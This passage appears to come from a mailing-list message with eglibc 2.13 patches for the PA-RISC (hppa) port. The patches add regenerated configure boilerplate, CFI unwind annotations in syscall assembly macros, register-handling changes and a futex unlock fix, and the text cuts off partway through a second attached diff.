+  return $1
+} # as_fn_set_status
+
+# as_fn_exit STATUS
+# -----------------
+# Exit the shell with STATUS, even in a "trap 0" or "set -e" context.
+as_fn_exit ()
+{
+  set +e
+  as_fn_set_status $1
+  exit $1
+} # as_fn_exit
+if expr a : '\(a\)' >/dev/null 2>&1 &&
+   test "X`expr 00001 : '.*\(...\)'`" = X001; then
+  as_expr=expr
+else
+  as_expr=false
+fi
+
+if (basename -- /) >/dev/null 2>&1 && test "X`basename -- / 2>&1`" = "X/"; then
+  as_basename=basename
+else
+  as_basename=false
+fi
+
+as_me=`$as_basename -- "$0" ||
+$as_expr X/"$0" : '.*/\([^/][^/]*\)/*$' \| \
+        X"$0" : 'X\(//\)$' \| \
+        X"$0" : 'X\(/\)' \| . 2>/dev/null ||
+$as_echo X/"$0" |
+    sed '/^.*\/\([^/][^/]*\)\/*$/{
+           s//\1/
+           q
+         }
+         /^X\/\(\/\/\)$/{
+           s//\1/
+           q
+         }
+         /^X\/\(\/\).*/{
+           s//\1/
+           q
+         }
+         s/.*/./; q'`
+
+
+  as_lineno_1=$LINENO as_lineno_1a=$LINENO
+  as_lineno_2=$LINENO as_lineno_2a=$LINENO
+  eval 'test "x$as_lineno_1'$as_run'" != "x$as_lineno_2'$as_run'" &&
+  test "x`expr $as_lineno_1'$as_run' + 1`" = "x$as_lineno_2'$as_run'"' || {
+  # Blame Lee E. McMahon (1931-1989) for sed's syntax.  :-)
+  sed -n '
+    p
+    /[$]LINENO/=
+  ' <$as_myself |
+    sed '
+      s/[$]LINENO.*/&-/
+      t lineno
+      b
+      :lineno
+      N
+      :loop
+      s/[$]LINENO\([^'$as_cr_alnum'_].*\n\)\(.*\)/\2\1\2/
+      t loop
+      s/-\n.*//
+    ' >$as_me.lineno &&
+  chmod +x "$as_me.lineno" ||
+    { $as_echo "$as_me: error: cannot create $as_me.lineno; rerun with a POSIX shell" >&2; as_fn_exit 1; }
+
+  # Don't try to exec as it changes $[0], causing all sort of problems
+  # (the dirname of $[0] is not the place where we might find the
+  # original and so on.  Autoconf is especially sensitive to this).
+  . "./$as_me.lineno"
+  # Exit status is that of the last command.
+  exit
+}
+
 # This file is generated from configure.in by Autoconf.  DO NOT EDIT!
 
-{ $as_echo "$as_me:$LINENO: checking for assembler line separator" >&5
+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for assembler line separator" >&5
 $as_echo_n "checking for assembler line separator... " >&6; }
-if test "${libc_cv_asm_line_sep+set}" = set; then
+if test "${libc_cv_asm_line_sep+set}" = set; then :
   $as_echo_n "(cached) " >&6
 else
   cat > conftest.s <<EOF
 nop ; is_old_puffin
 EOF
 if { ac_try='${CC-cc} -c $ASFLAGS conftest.s 1>&5'
-  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_try\""; } >&5
   (eval $ac_try) 2>&5
   ac_status=$?
-  $as_echo "$as_me:$LINENO: \$? = $ac_status" >&5
-  (exit $ac_status); }; }; then
+  $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
+  test $ac_status = 0; }; }; then
   libc_cv_asm_line_sep='!'
 else
   if test -z "$enable_hacker_mode"; then
@@ -25,7 +107,7 @@
 fi
 rm -f conftest*
 fi
-{ $as_echo "$as_me:$LINENO: result: $libc_cv_asm_line_sep" >&5
+{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $libc_cv_asm_line_sep" >&5
 $as_echo "$libc_cv_asm_line_sep" >&6; }
 cat >>confdefs.h <<_ACEOF
 #define ASM_LINE_SEP $libc_cv_asm_line_sep
Index: eglibc-2.13/ports/sysdeps/hppa/dl-fptr.h
===================================================================
--- eglibc-2.13.orig/ports/sysdeps/hppa/dl-fptr.h	2011-09-04 14:14:04.000000000 -0400
+++ eglibc-2.13/ports/sysdeps/hppa/dl-fptr.h	2011-09-04 14:20:23.000000000 -0400
@@ -22,6 +22,9 @@
 
 #include <sysdeps/generic/dl-fptr.h>
 
+/* Initialize function pointer code. Call before relocation processing.  */
+extern void _dl_fptr_init (void);
+
 /* There are currently 33 dynamic symbols in ld.so.
    ELF_MACHINE_BOOT_FPTR_TABLE_LEN needs to be at least that big.  */
 #define ELF_MACHINE_BOOT_FPTR_TABLE_LEN 64	
Index: eglibc-2.13/ports/sysdeps/hppa/dl-machine.h
===================================================================
--- eglibc-2.13.orig/ports/sysdeps/hppa/dl-machine.h	2011-09-04 14:14:30.000000000 -0400
+++ eglibc-2.13/ports/sysdeps/hppa/dl-machine.h	2011-09-04 14:20:23.000000000 -0400
@@ -1,6 +1,5 @@
 /* Machine-dependent ELF dynamic relocation inline functions.  PA-RISC version.
-   Copyright (C) 1995-1997,1999-2003
-	Free Software Foundation, Inc.
+   Copyright (C) 1995-1997,1999-2003, 2010 Free Software Foundation, Inc.
    Contributed by David Huggins-Daines <dhd@debian.org>
    This file is part of the GNU C Library.
 
Index: eglibc-2.13/ports/sysdeps/hppa/dl-tls.h
===================================================================
--- eglibc-2.13.orig/ports/sysdeps/hppa/dl-tls.h	2011-09-04 14:14:57.000000000 -0400
+++ eglibc-2.13/ports/sysdeps/hppa/dl-tls.h	2011-09-04 14:20:23.000000000 -0400
@@ -1,5 +1,5 @@
 /* Thread-local storage handling in the ELF dynamic linker.  hppa version.
-   Copyright (C) 2003 Free Software Foundation, Inc.
+   Copyright (C) 2003, 2011 Free Software Foundation, Inc.
    This file is part of the GNU C Library.
 
    The GNU C Library is free software; you can redistribute it and/or
@@ -27,3 +27,6 @@
 
 
 extern void *__tls_get_addr (tls_index *ti);
+
+/* Value used for dtv entries for which the allocation is delayed.  */
+#define TLS_DTV_UNALLOCATED	((void *) -1l)
Index: eglibc-2.13/ports/sysdeps/hppa/elf/configure
===================================================================
--- eglibc-2.13.orig/ports/sysdeps/hppa/elf/configure	2011-09-04 14:15:24.000000000 -0400
+++ eglibc-2.13/ports/sysdeps/hppa/elf/configure	2011-09-04 14:45:59.000000000 -0400
@@ -1,12 +1,94 @@
+
+# as_fn_set_status STATUS
+# -----------------------
+# Set $? to STATUS, without forking.
+as_fn_set_status ()
+{
+  return $1
+} # as_fn_set_status
+
+# as_fn_exit STATUS
+# -----------------
+# Exit the shell with STATUS, even in a "trap 0" or "set -e" context.
+as_fn_exit ()
+{
+  set +e
+  as_fn_set_status $1
+  exit $1
+} # as_fn_exit
+if expr a : '\(a\)' >/dev/null 2>&1 &&
+   test "X`expr 00001 : '.*\(...\)'`" = X001; then
+  as_expr=expr
+else
+  as_expr=false
+fi
+
+if (basename -- /) >/dev/null 2>&1 && test "X`basename -- / 2>&1`" = "X/"; then
+  as_basename=basename
+else
+  as_basename=false
+fi
+
+as_me=`$as_basename -- "$0" ||
+$as_expr X/"$0" : '.*/\([^/][^/]*\)/*$' \| \
+        X"$0" : 'X\(//\)$' \| \
+        X"$0" : 'X\(/\)' \| . 2>/dev/null ||
+$as_echo X/"$0" |
+    sed '/^.*\/\([^/][^/]*\)\/*$/{
+           s//\1/
+           q
+         }
+         /^X\/\(\/\/\)$/{
+           s//\1/
+           q
+         }
+         /^X\/\(\/\).*/{
+           s//\1/
+           q
+         }
+         s/.*/./; q'`
+
+
+  as_lineno_1=$LINENO as_lineno_1a=$LINENO
+  as_lineno_2=$LINENO as_lineno_2a=$LINENO
+  eval 'test "x$as_lineno_1'$as_run'" != "x$as_lineno_2'$as_run'" &&
+  test "x`expr $as_lineno_1'$as_run' + 1`" = "x$as_lineno_2'$as_run'"' || {
+  # Blame Lee E. McMahon (1931-1989) for sed's syntax.  :-)
+  sed -n '
+    p
+    /[$]LINENO/=
+  ' <$as_myself |
+    sed '
+      s/[$]LINENO.*/&-/
+      t lineno
+      b
+      :lineno
+      N
+      :loop
+      s/[$]LINENO\([^'$as_cr_alnum'_].*\n\)\(.*\)/\2\1\2/
+      t loop
+      s/-\n.*//
+    ' >$as_me.lineno &&
+  chmod +x "$as_me.lineno" ||
+    { $as_echo "$as_me: error: cannot create $as_me.lineno; rerun with a POSIX shell" >&2; as_fn_exit 1; }
+
+  # Don't try to exec as it changes $[0], causing all sort of problems
+  # (the dirname of $[0] is not the place where we might find the
+  # original and so on.  Autoconf is especially sensitive to this).
+  . "./$as_me.lineno"
+  # Exit status is that of the last command.
+  exit
+}
+
 # This file is generated from configure.in by Autoconf.  DO NOT EDIT!
  # Local configure fragment for sysdeps/hppa/elf.
 
 if test "$usetls" != no; then
 # Check for support of thread-local storage handling in assembler and
 # linker.
-{ $as_echo "$as_me:$LINENO: checking for hppa TLS support" >&5
+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for hppa TLS support" >&5
 $as_echo_n "checking for hppa TLS support... " >&6; }
-if test "${libc_cv_hppa_tls+set}" = set; then
+if test "${libc_cv_hppa_tls+set}" = set; then :
   $as_echo_n "(cached) " >&6
 else
   cat > conftest.s <<\EOF
@@ -41,23 +123,21 @@
 ; Done all the TLS tests.
 EOF
 if { ac_try='${CC-cc} -c $CFLAGS conftest.s 1>&5'
-  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_try\""; } >&5
   (eval $ac_try) 2>&5
   ac_status=$?
-  $as_echo "$as_me:$LINENO: \$? = $ac_status" >&5
-  (exit $ac_status); }; }; then
+  $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
+  test $ac_status = 0; }; }; then
   libc_cv_hppa_tls=yes
 else
   libc_cv_hppa_tls=no
 fi
 rm -f conftest*
 fi
-{ $as_echo "$as_me:$LINENO: result: $libc_cv_hppa_tls" >&5
+{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $libc_cv_hppa_tls" >&5
 $as_echo "$libc_cv_hppa_tls" >&6; }
 if test $libc_cv_hppa_tls = yes; then
-  cat >>confdefs.h <<\_ACEOF
-#define HAVE_TLS_SUPPORT 1
-_ACEOF
+  $as_echo "#define HAVE_TLS_SUPPORT 1" >>confdefs.h
 
 fi
 fi
Index: eglibc-2.13/ports/sysdeps/hppa/fpu/fegetenv.c
===================================================================
--- eglibc-2.13.orig/ports/sysdeps/hppa/fpu/fegetenv.c	2011-09-04 14:15:52.000000000 -0400
+++ eglibc-2.13/ports/sysdeps/hppa/fpu/fegetenv.c	2011-09-04 14:20:23.000000000 -0400
@@ -1,5 +1,5 @@
 /* Store current floating-point environment.
-   Copyright (C) 2000 Free Software Foundation, Inc.
+   Copyright (C) 2000, 2011 Free Software Foundation, Inc.
    This file is part of the GNU C Library.
    Contributed by David Huggins-Daines <dhd@debian.org>, 2000
 
Index: eglibc-2.13/ports/sysdeps/hppa/fpu/feupdateenv.c
===================================================================
--- eglibc-2.13.orig/ports/sysdeps/hppa/fpu/feupdateenv.c	2011-09-04 14:16:18.000000000 -0400
+++ eglibc-2.13/ports/sysdeps/hppa/fpu/feupdateenv.c	2011-09-04 14:20:23.000000000 -0400
@@ -1,5 +1,5 @@
 /* Install given floating-point environment and raise exceptions.
-   Copyright (C) 2000 Free Software Foundation, Inc.
+   Copyright (C) 2000, 2011 Free Software Foundation, Inc.
    This file is part of the GNU C Library.
    Contributed by David Huggins-Daines <dhd@debian.org>, 2000
 
Index: eglibc-2.13/ports/sysdeps/hppa/fpu/ftestexcept.c
===================================================================
--- eglibc-2.13.orig/ports/sysdeps/hppa/fpu/ftestexcept.c	2011-09-04 14:16:49.000000000 -0400
+++ eglibc-2.13/ports/sysdeps/hppa/fpu/ftestexcept.c	2011-09-04 14:20:23.000000000 -0400
@@ -1,5 +1,5 @@
 /* Test exception in current environment.
-   Copyright (C) 2000 Free Software Foundation, Inc.
+   Copyright (C) 2000, 2011 Free Software Foundation, Inc.
    This file is part of the GNU C Library.
    Contributed by David Huggins-Daines <dhd@debian.org>, 2000
 
Index: eglibc-2.13/ports/sysdeps/hppa/stackinfo.h
===================================================================
--- eglibc-2.13.orig/ports/sysdeps/hppa/stackinfo.h	2011-09-04 14:17:22.000000000 -0400
+++ eglibc-2.13/ports/sysdeps/hppa/stackinfo.h	2011-09-04 14:20:23.000000000 -0400
@@ -22,6 +22,12 @@
 #ifndef _STACKINFO_H
 #define _STACKINFO_H	1
 
+#include <elf.h>
+
+/* Default to an executable stack.  PF_X can be overridden if PT_GNU_STACK is
+ * present, but it is presumed absent.  */
+#define DEFAULT_STACK_PERMS (PF_R|PF_W|PF_X)
+
 /* On PA the stack grows up.  */
 #define _STACK_GROWS_UP	1
 
Index: eglibc-2.13/ports/sysdeps/unix/sysv/linux/hppa/bits/fcntl.h
===================================================================
--- eglibc-2.13.orig/ports/sysdeps/unix/sysv/linux/hppa/bits/fcntl.h	2011-09-04 14:17:42.000000000 -0400
+++ eglibc-2.13/ports/sysdeps/unix/sysv/linux/hppa/bits/fcntl.h	2011-09-04 14:20:23.000000000 -0400
@@ -1,5 +1,5 @@
-/* O_*, F_*, FD_* bit values for Linux/HPPA.
-   Copyright (C) 1995,1996,1997,1998,1999,2000,2002,2004
+/* O_*, F_*, FD_* bit values for Linux.
+   Copyright (C) 1995, 1996, 1997, 1998, 1999, 2000, 2002, 2004, 2010
    Free Software Foundation, Inc.
    This file is part of the GNU C Library.
 
@@ -29,7 +29,7 @@
 
 
 /* open/fcntl - O_SYNC is only implemented on blocks devices and on files
-   located on an ext2 file system */
+   located on a few file systems.  */
 #define O_ACCMODE	   0003
 #define O_RDONLY	     00
 #define O_WRONLY	     01
Index: eglibc-2.13/ports/sysdeps/unix/sysv/linux/hppa/nptl/sysdep-cancel.h
===================================================================
--- eglibc-2.13.orig/ports/sysdeps/unix/sysv/linux/hppa/nptl/sysdep-cancel.h	2011-09-04 14:18:10.000000000 -0400
+++ eglibc-2.13/ports/sysdeps/unix/sysv/linux/hppa/nptl/sysdep-cancel.h	2011-09-04 14:20:23.000000000 -0400
@@ -61,11 +61,53 @@
    
 # undef PSEUDO
 # define PSEUDO(name, syscall_name, args)				\
+	ENTRY (__##syscall_name##_nocancel)				\
+	DOARGS_##args					ASM_LINE_SEP	\
+	stwm TREG, 64(%sp)				ASM_LINE_SEP	\
+	.cfi_offset TREG, 0				ASM_LINE_SEP	\
+	.cfi_adjust_cfa_offset 64			ASM_LINE_SEP	\
+	stw %sp, -4(%sp)				ASM_LINE_SEP	\
+	.cfi_offset 30, -4				ASM_LINE_SEP	\
+	stw %r19, -32(%sp)				ASM_LINE_SEP	\
+	.cfi_offset 19, -32				ASM_LINE_SEP	\
+	/* Save r19 */					ASM_LINE_SEP	\
+	SAVE_PIC(TREG)					ASM_LINE_SEP	\
+	/* Do syscall, delay loads # */			ASM_LINE_SEP	\
+	ble  0x100(%sr2,%r0)				ASM_LINE_SEP	\
+	ldi SYS_ify (syscall_name), %r20 /* delay */	ASM_LINE_SEP	\
+	ldi NO_ERROR,%r1				ASM_LINE_SEP	\
+	cmpb,>>=,n %r1,%ret0,L(pre_nc_end)		ASM_LINE_SEP	\
+	/* Restore r19 from TREG */			ASM_LINE_SEP	\
+	LOAD_PIC(TREG) /* delay */			ASM_LINE_SEP	\
+	SYSCALL_ERROR_HANDLER				ASM_LINE_SEP	\
+	/* Use TREG for temp storage */			ASM_LINE_SEP	\
+	copy %ret0, TREG /* delay */			ASM_LINE_SEP	\
+	/* OPTIMIZE: Don't reload r19 */		ASM_LINE_SEP	\
+	/* do a -1*syscall_ret0 */			ASM_LINE_SEP	\
+	sub %r0, TREG, TREG				ASM_LINE_SEP	\
+	/* Store into errno location */			ASM_LINE_SEP	\
+	stw TREG, 0(%sr0,%ret0)				ASM_LINE_SEP	\
+	/* return -1 as error */			ASM_LINE_SEP	\
+	ldi -1, %ret0					ASM_LINE_SEP	\
+L(pre_nc_end):						ASM_LINE_SEP	\
+	/* No need to LOAD_PIC */			ASM_LINE_SEP	\
+	/* Undo frame */				ASM_LINE_SEP	\
+	ldwm -64(%sp),TREG				ASM_LINE_SEP	\
+	.cfi_adjust_cfa_offset -64			ASM_LINE_SEP	\
+	/* Restore rp before exit */			ASM_LINE_SEP	\
+	ldw -20(%sp), %rp				ASM_LINE_SEP	\
+	.cfi_restore 2					ASM_LINE_SEP	\
+	ret						ASM_LINE_SEP	\
+	END(__##syscall_name##_nocancel)		ASM_LINE_SEP	\
+	/**********************************************/ASM_LINE_SEP	\
 	ENTRY (name)							\
 	DOARGS_##args					ASM_LINE_SEP	\
 	stwm TREG, 64(%sp)				ASM_LINE_SEP	\
+	.cfi_adjust_cfa_offset 64			ASM_LINE_SEP	\
 	stw %sp, -4(%sp)				ASM_LINE_SEP	\
+	.cfi_offset 30, -4				ASM_LINE_SEP	\
 	stw %r19, -32(%sp)				ASM_LINE_SEP	\
+	.cfi_offset 19, -32				ASM_LINE_SEP	\
 	/* Done setting up frame, continue... */	ASM_LINE_SEP	\
 	SINGLE_THREAD_P					ASM_LINE_SEP	\
 	cmpib,<>,n 0,%ret0,L(pseudo_cancel)		ASM_LINE_SEP	\
@@ -128,26 +170,40 @@
 	/* No need to LOAD_PIC */			ASM_LINE_SEP	\
 	/* Undo frame */				ASM_LINE_SEP	\
 	ldwm -64(%sp),TREG				ASM_LINE_SEP	\
+	.cfi_adjust_cfa_offset -64			ASM_LINE_SEP	\
 	/* Restore rp before exit */			ASM_LINE_SEP	\
-	ldw -20(%sp), %rp				ASM_LINE_SEP
+	ldw -20(%sp), %rp				ASM_LINE_SEP	\
+	.cfi_restore 2					ASM_LINE_SEP
 
 /* Save arguments into our frame */
 # define PUSHARGS_0	/* nothing to do */
-# define PUSHARGS_1	PUSHARGS_0 stw %r26, -36(%sr0,%sp)	ASM_LINE_SEP
-# define PUSHARGS_2	PUSHARGS_1 stw %r25, -40(%sr0,%sp)	ASM_LINE_SEP
-# define PUSHARGS_3	PUSHARGS_2 stw %r24, -44(%sr0,%sp)	ASM_LINE_SEP
-# define PUSHARGS_4	PUSHARGS_3 stw %r23, -48(%sr0,%sp)	ASM_LINE_SEP
-# define PUSHARGS_5	PUSHARGS_4 stw %r22, -52(%sr0,%sp)	ASM_LINE_SEP 
-# define PUSHARGS_6	PUSHARGS_5 stw %r21, -56(%sr0,%sp)	ASM_LINE_SEP
+# define PUSHARGS_1	PUSHARGS_0 stw %r26, -36(%sr0,%sp)	ASM_LINE_SEP	\
+			.cfi_offset 26, -36			ASM_LINE_SEP
+# define PUSHARGS_2	PUSHARGS_1 stw %r25, -40(%sr0,%sp)	ASM_LINE_SEP	\
+			.cfi_offset 25, -40			ASM_LINE_SEP
+# define PUSHARGS_3	PUSHARGS_2 stw %r24, -44(%sr0,%sp)	ASM_LINE_SEP	\
+			.cfi_offset 24, -44			ASM_LINE_SEP
+# define PUSHARGS_4	PUSHARGS_3 stw %r23, -48(%sr0,%sp)	ASM_LINE_SEP	\
+			.cfi_offset 23, -48			ASM_LINE_SEP
+# define PUSHARGS_5	PUSHARGS_4 stw %r22, -52(%sr0,%sp)	ASM_LINE_SEP	\
+			.cfi_offset 22, -52			ASM_LINE_SEP
+# define PUSHARGS_6	PUSHARGS_5 stw %r21, -56(%sr0,%sp)	ASM_LINE_SEP	\
+			.cfi_offset 21, -56			ASM_LINE_SEP
 
 /* Bring them back from the stack */
 # define POPARGS_0	/* nothing to do */
-# define POPARGS_1	POPARGS_0 ldw -36(%sr0,%sp), %r26	ASM_LINE_SEP
-# define POPARGS_2	POPARGS_1 ldw -40(%sr0,%sp), %r25	ASM_LINE_SEP
-# define POPARGS_3	POPARGS_2 ldw -44(%sr0,%sp), %r24	ASM_LINE_SEP
-# define POPARGS_4	POPARGS_3 ldw -48(%sr0,%sp), %r23	ASM_LINE_SEP
-# define POPARGS_5	POPARGS_4 ldw -52(%sr0,%sp), %r22	ASM_LINE_SEP
-# define POPARGS_6	POPARGS_5 ldw -56(%sr0,%sp), %r21	ASM_LINE_SEP
+# define POPARGS_1	POPARGS_0 ldw -36(%sr0,%sp), %r26	ASM_LINE_SEP	\
+			.cfi_restore 26				ASM_LINE_SEP
+# define POPARGS_2	POPARGS_1 ldw -40(%sr0,%sp), %r25	ASM_LINE_SEP	\
+			.cfi_restore 25				ASM_LINE_SEP
+# define POPARGS_3	POPARGS_2 ldw -44(%sr0,%sp), %r24	ASM_LINE_SEP	\
+			.cfi_restore 24				ASM_LINE_SEP
+# define POPARGS_4	POPARGS_3 ldw -48(%sr0,%sp), %r23	ASM_LINE_SEP	\
+			.cfi_restore 23				ASM_LINE_SEP
+# define POPARGS_5	POPARGS_4 ldw -52(%sr0,%sp), %r22	ASM_LINE_SEP	\
+			.cfi_restore 22				ASM_LINE_SEP
+# define POPARGS_6	POPARGS_5 ldw -56(%sr0,%sp), %r21	ASM_LINE_SEP	\
+			.cfi_restore 21				ASM_LINE_SEP
 
 # ifdef IS_IN_libpthread
 #  ifdef PIC
Index: eglibc-2.13/ports/sysdeps/unix/sysv/linux/hppa/sys/procfs.h
===================================================================
--- eglibc-2.13.orig/ports/sysdeps/unix/sysv/linux/hppa/sys/procfs.h	2011-09-04 14:18:44.000000000 -0400
+++ eglibc-2.13/ports/sysdeps/unix/sysv/linux/hppa/sys/procfs.h	2011-09-04 14:20:23.000000000 -0400
@@ -29,10 +29,8 @@
    GDB unless you know what you are doing.  */
 
 #include <features.h>
-#include <signal.h>
 #include <sys/time.h>
 #include <sys/types.h>
-#include <sys/ucontext.h>
 #include <sys/user.h>
 
 __BEGIN_DECLS
Index: eglibc-2.13/ports/sysdeps/unix/sysv/linux/hppa/sysdep.h
===================================================================
--- eglibc-2.13.orig/ports/sysdeps/unix/sysv/linux/hppa/sysdep.h	2011-09-04 14:19:27.000000000 -0400
+++ eglibc-2.13/ports/sysdeps/unix/sysv/linux/hppa/sysdep.h	2011-09-04 14:20:23.000000000 -0400
@@ -22,7 +22,6 @@
 
 #include <asm/unistd.h>
 #include <sysdeps/generic/sysdep.h>
-#include <sys/syscall.h>
 
 /* In order to get __set_errno() definition in INLINE_SYSCALL.  */
 #ifndef __ASSEMBLER__
@@ -35,32 +34,28 @@
 #undef SYS_ify
 #define SYS_ify(syscall_name)	(__NR_##syscall_name)
 
+/* The vfork, fork, and clone syscalls clobber r19
+ * and r21. We list r21 as either clobbered or as an
+ * input to a 6-argument syscall. We must save and
+ * restore r19 in both PIC and non-PIC cases.
+ */ 
 /* WARNING: TREG must be a callee saves register so 
    that it doesn't have to be restored after a call 
    to another function */
-#ifdef PIC
-# define TREG %r3
-# define SAVE_PIC(SREG) copy %r19, SREG ASM_LINE_SEP
-# define LOAD_PIC(LREG) copy LREG, %r19 ASM_LINE_SEP
-/* Inline assembly defines */
-# define TREG_ASM "%r4" /* Cant clobber r3, it holds framemarker */
-# define SAVE_ASM_PIC	"       copy %%r19, %" TREG_ASM "\n"
-# define LOAD_ASM_PIC	"       copy %" TREG_ASM ", %%r19\n"
-# define CLOB_TREG	TREG_ASM ,
-# define PIC_REG_DEF	register unsigned long __r19 asm("r19");
-# define PIC_REG_USE	, "r" (__r19)
-#else
-# define TREG %r3
-# define SAVE_PIC(SREG) nop ASM_LINE_SEP
-# define LOAD_PIC(LREG) nop ASM_LINE_SEP
+#define TREG 4
+#define SAVE_PIC(SREG) \
+	copy %r19, SREG ASM_LINE_SEP	\
+	.cfi_register 19, SREG
+#define LOAD_PIC(LREG) \
+	copy LREG , %r19 ASM_LINE_SEP	\
+	.cfi_restore 19
 /* Inline assembly defines */
-# define TREG_ASM 
-# define SAVE_ASM_PIC	"nop \n"
-# define LOAD_ASM_PIC	"nop \n"
-# define CLOB_TREG
-# define PIC_REG_DEF
-# define PIC_REG_USE
-#endif
+#define TREG_ASM "%r4" /* Cant clobber r3, it holds framemarker */
+#define SAVE_ASM_PIC	"       copy %%r19, %" TREG_ASM "\n"
+#define LOAD_ASM_PIC	"       copy %" TREG_ASM ", %%r19\n"
+#define CLOB_TREG	TREG_ASM ,
+#define PIC_REG_DEF	register unsigned long __r19 asm("r19");
+#define PIC_REG_USE	, "r" (__r19)
 
 #ifdef __ASSEMBLER__
 
@@ -127,12 +122,14 @@
 	.align ALIGNARG(4)				ASM_LINE_SEP	\
 	.export C_SYMBOL_NAME(name)			ASM_LINE_SEP	\
 	.type	C_SYMBOL_NAME(name),@function		ASM_LINE_SEP	\
+	cfi_startproc					ASM_LINE_SEP	\
 	C_LABEL(name)					ASM_LINE_SEP	\
 	.PROC						ASM_LINE_SEP	\
 	.CALLINFO FRAME=64,CALLS,SAVE_RP,ENTRY_GR=3	ASM_LINE_SEP	\
 	.ENTRY						ASM_LINE_SEP	\
 	/* SAVE_RP says we do */			ASM_LINE_SEP	\
 	stw %rp, -20(%sr0,%sp)				ASM_LINE_SEP	\
+	.cfi_offset 2, -20				ASM_LINE_SEP	\
 	/*FIXME: Call mcount? (carefull with stack!) */
 
 /* Some syscall wrappers do not call other functions, and
@@ -142,18 +139,21 @@
 	.align ALIGNARG(4)				ASM_LINE_SEP	\
 	.export C_SYMBOL_NAME(name)			ASM_LINE_SEP	\
 	.type	C_SYMBOL_NAME(name),@function		ASM_LINE_SEP	\
+	cfi_startproc					ASM_LINE_SEP	\
 	C_LABEL(name)					ASM_LINE_SEP	\
 	.PROC						ASM_LINE_SEP	\
 	.CALLINFO FRAME=64,NO_CALLS,SAVE_RP,ENTRY_GR=3	ASM_LINE_SEP	\
 	.ENTRY						ASM_LINE_SEP	\
 	/* SAVE_RP says we do */			ASM_LINE_SEP	\
 	stw %rp, -20(%sr0,%sp)				ASM_LINE_SEP	\
+	.cfi_offset 2, -20				ASM_LINE_SEP	\
 	/*FIXME: Call mcount? (carefull with stack!) */
 
 #undef	END
 #define END(name)							\
   	.EXIT						ASM_LINE_SEP	\
 	.PROCEND					ASM_LINE_SEP	\
+	cfi_endproc					ASM_LINE_SEP	\
 .size	C_SYMBOL_NAME(name), .-C_SYMBOL_NAME(name)	ASM_LINE_SEP
 
 /* If compiled for profiling, call `mcount' at the start 
@@ -170,9 +170,7 @@
    which means
 	ENTRY(name)
 	DO_CALL(...)
-	nop
-	bv 0(2)
-	nop
+	bv,n 0(2)
 */
 
 #define	PSEUDO(name, syscall_name, args)			\
@@ -180,8 +178,7 @@
   /* If necc. load args from stack */		ASM_LINE_SEP	\
   DOARGS_##args					ASM_LINE_SEP	\
   DO_CALL (syscall_name, args)			ASM_LINE_SEP	\
-  UNDOARGS_##args				ASM_LINE_SEP	\
-  nop						ASM_LINE_SEP
+  UNDOARGS_##args				ASM_LINE_SEP
 
 #define ret \
   /* Return value set by ERRNO code */		ASM_LINE_SEP	\
@@ -196,8 +193,7 @@
   ENTRY_LEAF (name)				ASM_LINE_SEP	\
   DOARGS_##args					ASM_LINE_SEP	\
   DO_CALL_NOERRNO (syscall_name, args)		ASM_LINE_SEP	\
-  UNDOARGS_##args				ASM_LINE_SEP	\
-  nop						ASM_LINE_SEP
+  UNDOARGS_##args				ASM_LINE_SEP
 
 #define ret_NOERRNO ret
 
@@ -211,8 +207,7 @@
   ENTRY_LEAF (name)				ASM_LINE_SEP	\
   DOARGS_##args					ASM_LINE_SEP	\
   DO_CALL_ERRVAL (syscall_name, args)		ASM_LINE_SEP	\
-  UNDOARGS_##args				ASM_LINE_SEP	\
-  nop						ASM_LINE_SEP
+  UNDOARGS_##args				ASM_LINE_SEP
 
 #define ret_ERRVAL ret
 
@@ -290,8 +285,12 @@
 #define DO_CALL(syscall_name, args)				\
 	/* Create a frame */			ASM_LINE_SEP	\
 	stwm TREG, 64(%sp)			ASM_LINE_SEP	\
+	.cfi_offset TREG, 0			ASM_LINE_SEP	\
+	.cfi_adjust_cfa_offset 64		ASM_LINE_SEP	\
 	stw %sp, -4(%sp)			ASM_LINE_SEP	\
+	.cfi_offset 30, -4			ASM_LINE_SEP	\
 	stw %r19, -32(%sp)			ASM_LINE_SEP	\
+	.cfi_offset 19, -32			ASM_LINE_SEP	\
 	/* Save r19 */				ASM_LINE_SEP	\
 	SAVE_PIC(TREG)				ASM_LINE_SEP	\
 	/* Do syscall, delay loads # */		ASM_LINE_SEP	\
@@ -314,8 +313,10 @@
 L(pre_end):					ASM_LINE_SEP	\
 	/* Restore our frame, restoring TREG */	ASM_LINE_SEP	\
 	ldwm -64(%sp), TREG			ASM_LINE_SEP	\
+	.cfi_adjust_cfa_offset -64		ASM_LINE_SEP	\
 	/* Restore return pointer */		ASM_LINE_SEP	\
-	ldw -20(%sp),%rp			ASM_LINE_SEP
+	ldw -20(%sp),%rp			ASM_LINE_SEP	\
+	.cfi_restore 2				ASM_LINE_SEP
 
 /* We do nothing with the return, except hand it back to someone else */
 #undef  DO_CALL_NOERRNO

--Apple-Mail-35--15589280
Content-Disposition: attachment; filename="ports-2011-09-17.diff"
Content-Type: application/octet-stream; x-unix-mode=0644;
	name="ports-2011-09-17.diff"
Content-Transfer-Encoding: 7bit

Index: eglibc-2.13/ports/sysdeps/unix/sysv/linux/hppa/nptl/lowlevellock.h
===================================================================
--- eglibc-2.13.orig/ports/sysdeps/unix/sysv/linux/hppa/nptl/lowlevellock.h	2011-09-05 00:09:53.000000000 -0400
+++ eglibc-2.13/ports/sysdeps/unix/sysv/linux/hppa/nptl/lowlevellock.h	2011-09-17 23:07:14.000000000 -0400
@@ -288,18 +288,20 @@
   __lll_robust_timedlock (&(futex), abstime, id, private)
 
 #define __lll_unlock(futex, private) \
-  (void)					\
-  ({ int val = atomic_exchange_rel (futex, 0);  \
-     if (__builtin_expect (val > 1, 0))         \
-       lll_futex_wake (futex, 1, private);      \
+  (void)						\
+  ({ int *__futex = (futex);				\
+     int val = atomic_exchange_rel (__futex, 0);	\
+     if (__builtin_expect (val > 1, 0))			\
+       lll_futex_wake (__futex, 1, private);		\
   })
 #define lll_unlock(futex, private) __lll_unlock(&(futex), private)
 
 #define  __lll_robust_unlock(futex,private) \
-  (void)                                               \
